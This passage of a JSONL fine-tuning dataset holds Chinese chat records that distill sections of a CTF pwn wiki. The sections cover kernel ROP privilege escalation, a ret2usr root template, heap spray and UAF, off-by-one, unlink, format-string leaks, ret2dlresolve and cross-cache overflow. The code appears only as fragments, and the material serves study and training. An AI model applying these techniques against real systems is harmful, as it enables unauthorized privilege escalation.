保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 567, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "SMAP/SMEP", "heading_path": ["基础知识", "Mitigation", "通用保护机制", "SMAP/SMEP"], "original_id": "docs-c6218d43898302382fc0", "original_line": 649, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "6355dbf9d99e3cba6fadf061", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ceee978c7a6917bd39a5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「解题思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > 例题：强网杯2018 - core > 解题思路\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 经过如上的分析，可以得出以下解题思路： 1. 通过 ioctl 设置 off，然后通过 core_read() 泄漏出 canary 2. 通过 core_write() 向 name 写，构造 ropchain 3. 通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop 4. 通过 rop 执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权 5. 返回用户态，通过 system(\"/bin/sh\")...\n- iretq，之前说过需要设置 cs, rflags 等信息，可以写一个函数保存这些信息 ``c // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp;\n- /tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址 - 如何返回用户态？\n- void save_status_intel() { asm volatile( \"mov user_cs, cs;\n- puts(\"[*]status has been saved.\");\n- } // at&t flavor assembly void save_status_atNt() { asm volatile( \"movq %%cs, %0\\n\" \"movq %%ss, %1\\n\" \"movq %%rsp, %3\\n\" \"pushfq\\n\" \"popq %2\\n\" :\"=r\"(user_cs), \"=r\"(user_ss), \"=r\"(user_eflags),\"=r\"(user_sp) : : \"memory\" );\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 26 行，首行 `// intel flavor assembly`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 949, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "解题思路", "heading_path": ["Kernel ROP", "例题：强网杯2018 - core", "解题思路"], "original_id": "docs-0f33dac2641123e9186b", "original_line": 41, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "9986d88a102f5dd63c0af188", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cf1f48565fbf473e1ca5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「状态查看」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > 状态查看\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“状态查看”展开。\n- 我们可以通过以下两种方式来查看 KPTI 机制是否开启。\n- ``shell /home/pwn # dmesg | grep 'page table' [ 0.000000] Kernel/User page tables isolation: enabled /home/pwn # cat /proc/cpuinfo | grep pti fpu_exception : yes flags : ... pti smep smap ``\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n- code:shell\n\n代码/命令片段线索：\n- shell: 5 行，首行 `/home/pwn # dmesg | grep 'page table'`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 222, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "状态查看", "heading_path": ["KPTI - Kernel Page Table Isolation", "状态查看"], "original_id": "docs-5c58e37d5bc7c81401d4", "original_line": 676, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "a8fadb30e773a80979a24496", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense", "code:shell"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d0223da95b93588dae23", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 常用代码模板\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/5\n\n核心知识点：\n- 本节主题围绕“常用代码模板”展开。\n- } /* @brief create an isolate namespace note that the caller SHOULD NOT be used to get the root, but an operator to perform basic exploiting operations in it only / void unshare_setup(void) { char edit[0x100];\n- if(getuid()) { puts(\"\\033[31m\\033[1m[x] Failed to get the root!\n- } / for ret2usr attacker / void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds) { void (prepare_kernel_cred_ptr)(void ) = (void ()(void)) prepare_kernel_cred;\n- if (socket_fd < 0) { printf(\"[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\\n\");\n- if (ret < 0) { printf(\"[x] failed at setsockopt(PACKET_VERSION)\\n\");\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5056, "chunk_count": 5, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "常用代码模板", "heading_path": ["简介", "常用代码模板"], "original_id": "docs-2f6b0ead43cb944e9160", "original_line": 718, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "72ec51d5a65c044ab6114be5", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d07cc1966003fe2b595b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「实例 2 : plaidctf 2015 plaiddb」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“实例 2 : plaidctf 2015 plaiddb”展开。\n- ``shell ➜ 2015_plaidctf_datastore git:(master) file datastore datastore: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1a031710225e93b0b5985477c736538...\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 11 行，首行 `➜ 2015_plaidctf_datastore git:(master) file datastore`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 618, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "实例 2 : plaidctf 2015 plaiddb", "heading_path": ["vim:fenc=utf-8", "实例 2 : plaidctf 2015 plaiddb"], "original_id": "docs-7b8eb68731a4411727d2", "original_line": 52, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "982a7dcb7db87e00a4b780ee", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d08ee1d1ff443286d8bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } } if (victim_key_idx == -1) { err_exit(\"FAILED at corrupt user_key_payload!\n- i++) { if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) { kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;\n- } } if (kernel_offset == -1) { err_exit(\"FAILED to leak kernel addr!\n- / construct UAF on pipe_inode_buffer to leak pipe_buffer's addr / puts(\"[] construct UAF on pipe_inode_info...\");\n- / 0->1->..., the 1 will be the payload object / alloc(0, PIPE_INODE_INFO_SZ, buf);\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2614, "chunk_count": 2, "chunk_index": 1, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "EXPLOIT"], "original_id": "docs-d1c08650feca66f0ffff", "original_line": 771, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "4f5ae61cfb2f5ffef6b79eb9", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d2062218bb24a576a758", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get system addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get system addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get system addr”展开。\n- libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') log.success('system addr: ' + hex(system_addr)) log.success('read addr: ' + hex(read_addr))\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "get system addr", "heading_path": ["例子", "get system addr"], "original_id": "docs-67d9763c8df5480e9d11", "original_line": 882, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "36320725983e6684a6ea2aaa", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d20ad2026199de030162", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2016 ZCTF note2 > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- 仔细分析后，可以发现程序有以下几个问题 1. 在添加note时，程序会记录note对应的大小，该大小会用于控制读取note的内容，但是读取的循环变量i是无符号变量，所以比较时都会转换为无符号变量，那么当我们输入size为0时，glibc根据其规定，会分配0x20个字节，但是程序读取的内容却并不受到限制，故而会产生堆溢出。\n- 所以说可以读取任意长度的数据，这里也就是后面我们溢出所使用的办法。\n- 首先，我们先分析一下程序，可以看出程序的主要功能为 - 添加note，size限制为0x80，size会被记录，note指针会被记录。\n- 第一个问题对应在ida中的代码如下 ``c unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3) { char v4;\n- } `` 其中i是unsigned类型，a2为int类型，所以两者在for循环相比较的时候，a2-1的结果-1会被视为unsigned类型，此时，即最大的整数。\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 903, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["触发 system('/bin/sh')", "2016 ZCTF note2", "分析程序"], "original_id": "docs-b45cd05891ca7283e5f6", "original_line": 1082, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "280c94c4517876c3cda5d119", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d21206e4b51b6875a740", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「gdb.attach(io)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：gdb.attach(io)\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“gdb.attach(io)”展开。\n- io.send(payload) io.interactive() `` 需要注意这里的 data_addr+43 为伪造的 linkmap 的地址。\n- 当我们控制 linkmap 的地址位于 got 表附近时，同时我们还需要利用 link_map 的几个动态表指针，偏移从 0x68 开始。\n- ` 0x600B80-->link_map 0x600BC0-->data 0x600BC8-->data+8 0x600BD0-->data+16, args of puts 0x600BE8-->data+24 ` 因此，我们可以控制的 puts 的参数的长度最大为 0x18。\n- 根据之前的介绍，我们还可以伪造 l_addr 为已解析函数的地址， st_value 为已解析函数和目标函数之间的偏移。\n- 执行效果如下 ` ❯ nc -l 127.0.0.1 8080 iromise ` 上面的这种方式为伪造 link_map 的 l_addr 为目标函数和已解析函数之间的偏移。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `需要注意这里的 `data_addr+43` 为伪造的 linkmap 的地址。执行效果如下`\n- plain: 2 行，首行 `上面的这种方式为伪造 link_map 的 l_addr 为目标函数和已解析函数之间的偏移。`\n- plain: 1 行，首行 `这里，由于 `.got.plt` 的下方没多远就是 bss 段 data 的位置。当我们控制 linkmap 的地址位于 got 表附近时，同时我们还需要利用 link_map 的几个动态表指针，偏移从 0x68 开始。因此我们需要仔...`\n- plain: 1 行，首行 `因此，我们可以控制的 puts 的参数的长度最大为 0x18。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2795, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "gdb.attach(io)", "heading_path": ["gdb.attach(io)"], "original_id": "docs-a5fcffc05010c63c6a28", "original_line": 1373, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "558e8f9ef0f1073f77d406ab", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d2eb3109becaf71409fb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「获取栈变量数值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露栈内存 > 获取栈变量数值\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“获取栈变量数值”展开。\n- n+84> add esp, 0x20 ← $esp 0xffffccf0│+0x04: 0x08048563 → \"%08x.%08x.%08x.%s\" 0xffffccf4│+0x08: 0x00000001 0xffffccf8│+0x0c: 0x22222222 0xffffccfc│+0x10: 0xffffffff 0xffffcd00│+0x14: 0xffffcd10 → \"%3$x\" 0xffffcd04│+0x18: 0xffffcd10 → \"%3$x\" 0xffffcd08│+0x1c...\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1385, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "获取栈变量数值", "heading_path": ["利用", "泄露内存", "泄露栈内存", "获取栈变量数值"], "original_id": "docs-894ac1b253292f003a28", "original_line": 888, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "996ad117c9150fa7cf3b3b91", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d34940431f2268805bb3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- } ` 设备只定义了一个 ioctl，其中包含分配与编辑堆块的功能且都有锁，最多可以分配 400 个 object，没有释放功能： `c __int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3;\n- } ` 漏洞便存在于编辑堆块的 castaway_edit() 当中，在拷贝数据时会故意从 object + 6 的地方开始拷贝，从而存在一个 6 字节的溢出，这里因为是先拷贝到内核栈上再进行内核空间中的拷贝所以不会触发 hardened usercopy 的检查： `c __int64 __fastcall castaway_edit(unsigned __int64 a1, size_t a2, __int64 a3) { char src[512];\n- } ` 编辑堆块时我们应当向内核中传入如下结构： `c struct request { int64_t index;\n- 题目文件连 kconfig 都给了，笔者表示非常感动： ``shell $ tree . . ├── bzImage ├── initramfs.cpio.gz ├── kconfig └── run 0 directories, 4 files ` 启动脚本看都不用看就知道开了 SMEP、SMAP、KPTI（基本上已经是内核题标配了）： `bash #!\n- _mutex_init(&castaway_lock, \"&castaway_lock\", &_key_28999);\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n- code:bash\n- code:c\n\n代码/命令片段线索：\n- shell: 7 行，首行 `$ tree .`\n- bash: 12 行，首行 `#!/bin/sh`\n- c: 19 行，首行 `__int64 init_module()`\n- c: 31 行，首行 `__int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2838, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways", "题目分析"], "original_id": "docs-3f7378630fa234368861", "original_line": 732, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "9dcc17dbe7cbee250d0b6ac3", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell", "code:bash", "code:c"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
